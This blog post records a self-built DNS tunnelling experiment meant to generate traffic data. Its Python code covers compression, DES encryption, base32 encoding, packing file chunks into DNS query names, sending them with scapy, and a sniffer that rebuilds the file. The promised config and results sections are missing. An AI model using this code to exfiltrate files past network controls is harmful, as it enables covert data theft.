DNS tunnel attack experiment record

Posted by bobbfwed on Mon, 21 Feb 2022 13:51:25 +0100

It's time for bloggers to finish setting up. Because the data sets required by bloggers in the direction of setting up are rarely publicly provided (after all, DNS records have some privacy problems), they have to simulate DNS attacks to operate by themselves.
First of all, if you want to know what is DNS tunnel attack, you can take a look at our previous blog Research on DNS traffic analysis . I'm too lazy to write it again. Before Build sub domain DNS server and Building DNS server for Ubuntu In, the general environment has been set up. Here we directly start the recording of tunnel attack program.

Attack scheme

The hope here is to transfer files through DNS messages.
On the client side, there are the following modules: file reading module, encoding module, embedding module and sending module. On the server side, there are the following modules: message receiving module, content extraction module and file recovery module. In addition, another configuration module is attached to set various parameters, such as maximum message length, encoding mode, etc.

control module

I use json file to realize the control module, which is divided into two parts: content and domain name format. As shown below

Coding module

In this module, I set three options: compression, encryption and coding. The first two are optional and the last one is required.

def content_conversion(set_content,data):

    if set_content["compress_or_not"] == 1:
        data = compress(data)
    #print(data)
    if set_content["encrypt_mode"]["active"] == 1:
        data = encode_decode.Encrypt(data,set_content["encrypt_mode"]["method"],set_content["encrypt_mode"]["key"])

    data = encode_decode.Encode(data,set_content["encode_method"]['method'])
    return data

For compression, I choose to call zlib library directly

def compress(data):
    res = zlib.compress(data,zlib.Z_BEST_COMPRESSION)
    return res
 
 def decompress(data):
    zobj = zlib.decompressobj()
    data = zobj.decompress(data)
    #res = data.decode(encoding='utf-8')
    return data

For encryption, AES encryption, DES encryption and 3DES encryption are optional. At present, only DES encryption is realized.

def des_encrypt( key, plaintext):
    iv = secret_key = key
    k = pyDes.des(secret_key, pyDes.CBC, iv, pad=None, padmode = pyDes.PAD_PKCS5)
    data = k.encrypt(plaintext, padmode=pyDes.PAD_PKCS5)
    res=binascii.b2a_hex(data)
    return res
    
def des_decrypt( key, ciphertext):
    iv = secret_key = key
    k = pyDes.des(secret_key, pyDes.CBC, iv, pad=None, padmode = pyDes.PAD_PKCS5)
    data = k.decrypt(binascii.a2b_hex(ciphertext), padmode=pyDes.PAD_PKCS5)
    return data
    
def Encrypt(content,mode,password):
    res=''
    if mode == "DES":
        while len(password)<8:
            password=password+password
        key = password[:8]
        res = des_encrypt(key,content)
    return res

def Decrypt(content,mode,password):
    res=None
    if mode == "DES":
        while len(password)<8:
            password=password+password
        key = password[:8]
        res = des_decrypt(key,content)
    return res

The last part is the coding part. Common coding methods such as Base32, Base16 and Base64_URL and other coding methods.

def Encode(inf, ch='base32'):
    rnt=''
    if ch == 'base32':
        rnt = base64.b32encode(inf)
    if ch == 'base16':
        rnt = base64.b16encode(inf)
    if ch == 'base64url':
        rnt = base64.urlsafe_b64encode(inf)
    return rnt

def Decode(inf, ch='base32'):
    rnt=''
    if ch == 'base32':
        rnt = base64.b32decode(inf)
    if ch == 'base16':
        rnt = base64.b16decode(inf)
    if ch == 'base64url':
        rnt = base64.urlsafe_b64decode(inf)
    return rnt

Information embedding

In the information embedding stage, the information needs to be processed in blocks, plus other camouflage items.

def make_domain(format,SLD='test.com',inf=None,max_label=63,seq_number=0,tot_seq_number=0,guid_name='test_str',
                file_name='test_name',file_type='txt'):
    labels=format.split('.')
    content={'system_ID','file_name','seq_number','rand','target_content','tot_seq_number','GUID',}
    subdomain=''
    l=''
    for label in labels:
        l=''
        label0s=label.split('<')
        for label0 in label0s:
            label1s=label0.split('>')
            for label1 in label1s:
                if label1 not in content:
                    l=l+label1
                    continue
                if label1 =='GUID':
                    l=l+uuid.uuid3(uuid.NAMESPACE_DNS,guid_name).hex
                    continue
                if label1 == 'target_content' and inf != None:
                    l=l+inf
                    continue
                if label1 == 'file_name':
                    l=l+file_name
                    continue
                if label1 == 'seq_number':
                    l=l+str(seq_number)
                    continue
                if label1 == 'rand':
                    Randint=random.randint(1,max_label)
                    Randstr=''.join(random.sample(string.ascii_letters + string.digits, Randint))
                    l=l+Randstr
                if label1 == 'tot_seq_number':
                    l = l + str(tot_seq_number)
                if label1 == 'system_ID':
                    l = l + uuid.uuid1().hex
                if label1 == 'file_type':
                    l = l + file_type
        if len(l)>max_label:
            print("ERROR: Label",label," Size is larger than MAX_LABEL SIZE", max_label)
            #return None
        subdomain = subdomain + l + '.'
    domain = subdomain + SLD
    if (len(domain)>253):
        print("ERROR: Size of Domain is larger than 253")
        #return None
    return domain

Sending module

I choose to use scapy to complete the sending of information. With scapy, I can easily and clearly construct the package and send it without paying attention to the response package.

from scapy.all import *

def dns_request(Domain,Dst,Dst_port=53):
    a = IP(dst=Dst)
    b = UDP(dport = Dst_port)
    c =  DNS(id=1,qr=0,opcode=0,tc=0,rd=1,qdcount=1,ancount=0,nscount=0,arcount=0)
    c.qd = DNSQR(qname=Domain,qtype='A',qclass=1)
    p = a/b/c
    send(p)

Receive message

You can directly use the sniff function of scapy to sniff packets in real time and operate each packet in real time

sniff(prn=cap, filter='udp and udp port 53')

information extraction

I only extract the embedded information, and other auxiliary information will not be processed here. The extracted information is saved in a dictionary.

def cap(packet):
    a = packet.summary()
    layers = a.split('/')
    DNS = layers[len(layers) - 1]
    fields = DNS.split(' ')
    DNSQR = None
    for i in range(len(fields)):
        if (fields[i] == 'Qry'):
            DNSQR = fields[i + 1]
            break
    if DNSQR == None:
        return
    Domain = DNSQR.lstrip('\"b\'').rstrip('\'\"')
    if set_options["domain_structure"]["SLD"] not in Domain:
        return
    content = split_domain(Domain, set_options['domain_structure']['format'])

    if set_options["content"]["encode_method"]['active'] == 1:
        content = Decode(content, set_options["content"]["encode_method"]['method']).decode()
    print(content)
    options = content.split('|!|')
    # print(len(options),options)
    if len(options) == 4 and options[2] == 'REG':
        # print(content)
        jobid = options[0]
        file_name = options[1]
        checksum = options[3]
        packets_dict[jobid] = {'filename': file_name.replace('_', '.'), 'checksum': checksum, 'contents': []}
    elif len(options) == 3 and options[2] == 'DONE':
        mkdir(packets_dict[options[0]], set_options)
    elif len(options) == 3:
        packets_dict[options[0]]['contents'].append([options[0], int(options[1]), options[2]])

File reconstruction

For the reconstruction of the file, I use jobid to confirm which file it is

	filename = job['filename']
    checksum = job['checksum']
    contents = job['contents']
    contents.sort(reverse = False,key=lambda x:x[1])
    ct=0
    Data=''
    set_encode=set_options['content']["encode_method"]
    #print(job['contents'])
    for content in contents:
        tmp=content[2].replace('\n','')
        if int(content[1])>ct+1:
            print('[ERROR] %s lose pocket %d .'%(content[0],ct+1))
            return
        if int(content[1])<ct+1:
            continue

        Data=Data+tmp
        ct = int(content[1])
    if (hash_md5(Data)!=checksum):
        print("[Error] There is something wrong in the data")
        return
    Data = de_content_conversion(Data, set_options['content'])

    print('[OK] %s is Done.'%(content[0]))
    f_out = open(filename, 'wb')
    f_out.write(Data.encode())
    f_out.close()

Experimental record

Topics: Operation & Maintenance network server